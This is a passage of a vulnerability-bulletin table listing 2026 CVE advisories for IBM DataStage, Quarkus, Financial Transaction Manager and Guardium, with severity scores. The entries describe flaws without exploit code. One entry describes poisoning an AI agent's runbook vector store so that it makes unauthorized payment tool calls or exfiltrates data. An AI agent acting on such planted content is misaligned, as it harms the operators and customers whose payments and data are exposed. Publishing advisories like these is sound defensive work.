&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to the exposure of namespace-wide secrets via accessible file mounts.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80423&quot; target=&quot;_blank&quot;&gt;CVE-2026-80423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80425&quot; target=&quot;_blank&quot;&gt;CVE-2026-80425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to OS command injection.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81537&quot; target=&quot;_blank&quot;&gt;CVE-2026-81537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81539&quot; target=&quot;_blank&quot;&gt;CVE-2026-81539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81545&quot; target=&quot;_blank&quot;&gt;CVE-2026-81545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to path traversal.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81547&quot; target=&quot;_blank&quot;&gt;CVE-2026-81547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81548&quot; target=&quot;_blank&quot;&gt;CVE-2026-81548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of environment variables.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81552&quot; target=&quot;_blank&quot;&gt;CVE-2026-81552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to unsafe deserialization of untrusted data.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82093&quot; target=&quot;_blank&quot;&gt;CVE-2026-82093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow an authenticated user to access sensitive information due to improper handling of encrypted credentials. An attacker could exploit this vulnerability to obtain credentials intended for other users or environments.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81208&quot; target=&quot;_blank&quot;&gt;CVE-2026-81208&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81536&quot; target=&quot;_blank&quot;&gt;CVE-2026-81536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to traverse directories on the system due to improper limitation of a pathname to a restricted directory.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82094&quot; target=&quot;_blank&quot;&gt;CVE-2026-82094&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Enterprise Build of Quarkus&lt;/td&gt;
&lt;td&gt;IBM Enterprise Build of Quarkus 3.27.1 through 3.27.5.SP1, and 3.33.1 through 3.33.3.SP1 is vulnerable to SQL injection. A remote unauthenticated attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77874&quot; target=&quot;_blank&quot;&gt;CVE-2026-77874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to perform unauthorized actions due to improper configuration of HTTP method-based security constraints.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17635&quot; target=&quot;_blank&quot;&gt;CVE-2026-17635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to gain elevated privileges due to improper privilege management.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17645&quot; target=&quot;_blank&quot;&gt;CVE-2026-17645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18162&quot; target=&quot;_blank&quot;&gt;CVE-2026-18162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper deserialization of untrusted data.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18163&quot; target=&quot;_blank&quot;&gt;CVE-2026-18163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to obtain sensitive information due to improper validation of symbolic links.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18169&quot; target=&quot;_blank&quot;&gt;CVE-2026-18169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to stored cross-site scripting (CWE-79) in the FTM UI NetworkAcknowledgement React component (NetworkAcknowledgement.jsx:42). A malicious actor can inject script into stored network acknowledgement data that executes in authenticated operator browsers, enabling session hijacking and unauthorized operator-level payment actions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18872&quot; target=&quot;_blank&quot;&gt;CVE-2026-18872&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to execute arbitrary code due to improper validation of a specified quantity.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17636&quot; target=&quot;_blank&quot;&gt;CVE-2026-17636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow an adjacent-network attacker to execute arbitrary code due to deserialization of untrusted data.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17637&quot; target=&quot;_blank&quot;&gt;CVE-2026-17637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to obtain sensitive information and perform unauthorized actions due to insufficiently protected credentials.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17643&quot; target=&quot;_blank&quot;&gt;CVE-2026-17643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to gain unauthorized access to sensitive information and modify transaction data due to the use of hard-coded credentials.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17644&quot; target=&quot;_blank&quot;&gt;CVE-2026-17644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to obtain sensitive information due to improper restriction of XML external entity references.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17646&quot; target=&quot;_blank&quot;&gt;CVE-2026-17646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to execute arbitrary commands due to the inclusion of functionality from an untrusted control sphere.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17647&quot; target=&quot;_blank&quot;&gt;CVE-2026-17647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to perform unauthorized actions due to improper authentication and missing authorization.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18074&quot; target=&quot;_blank&quot;&gt;CVE-2026-18074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to execute arbitrary code due to a buffer overflow.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18095&quot; target=&quot;_blank&quot;&gt;CVE-2026-18095&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary JavaScript in an authenticated user&#039;s browser due to improper neutralization of HTML input.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18131&quot; target=&quot;_blank&quot;&gt;CVE-2026-18131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary ESQL commands due to improper neutralization of special elements used in an ESQL command.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18137&quot; target=&quot;_blank&quot;&gt;CVE-2026-18137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to the use of a hard-coded or predictable cryptographic key.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18154&quot; target=&quot;_blank&quot;&gt;CVE-2026-18154&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to bypass authentication and access sensitive information due to a hard-coded cryptographic key.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18181&quot; target=&quot;_blank&quot;&gt;CVE-2026-18181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to unauthenticated remote code execution via Java native deserialization on the PayDir Business Rules Manager RMI SSL endpoint (BrmRMISSLServerSocketFactory.java:95, EP8). An adjacent-network attacker can deliver a crafted serialized payload to achieve arbitrary code execution, exposing all PayDir credentials and enabling manipulation of payment business rules.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18490&quot; target=&quot;_blank&quot;&gt;CVE-2026-18490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to manipulate database queries due to improper neutralization of special elements in a boolean expression.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19179&quot; target=&quot;_blank&quot;&gt;CVE-2026-19179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote unauthenticated attacker to view and modify sensitive information and cause a denial of service due to improper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17618&quot; target=&quot;_blank&quot;&gt;CVE-2026-17618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to obtain sensitive information and trigger unauthorized actions due to server-side request forgery.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18066&quot; target=&quot;_blank&quot;&gt;CVE-2026-18066&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to cause a denial of service due to the improper use of reflection with externally controlled input.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18123&quot; target=&quot;_blank&quot;&gt;CVE-2026-18123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to cleartext transmission of sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18134&quot; target=&quot;_blank&quot;&gt;CVE-2026-18134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to forge validly-signed messages due to improper verification of cryptographic signatures.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18152&quot; target=&quot;_blank&quot;&gt;CVE-2026-18152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to improper restriction of XML external entity references.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18172&quot; target=&quot;_blank&quot;&gt;CVE-2026-18172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to cleartext transmission of sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18176&quot; target=&quot;_blank&quot;&gt;CVE-2026-18176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute unauthorized payment actions due to missing authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18177&quot; target=&quot;_blank&quot;&gt;CVE-2026-18177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18184&quot; target=&quot;_blank&quot;&gt;CVE-2026-18184&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to access sensitive information and modify system configurations due to missing authentication for a critical function.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18185&quot; target=&quot;_blank&quot;&gt;CVE-2026-18185&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to RAG poisoning via unauthenticated runbook upsert (CWE-74) in the FTM AI agent server (api.vectordb.runbooks.js:51). An unauthenticated attacker can insert malicious runbook content into the agent&#039;s vector database to steer AI-driven MCP tool calls, potentially triggering unauthorized payment actions or exfiltrating payment data.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18875&quot; target=&quot;_blank&quot;&gt;CVE-2026-18875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is affected by a command injection vulnerability in the GIM bundle import functionality. An authenticated attacker can provide a crafted GIM bundle that causes attacker-controlled arguments to be passed to the tar command, resulting in arbitrary command execution with elevated privileges on the Central Manager.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85542&quot; target=&quot;_blank&quot;&gt;CVE-2026-85542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
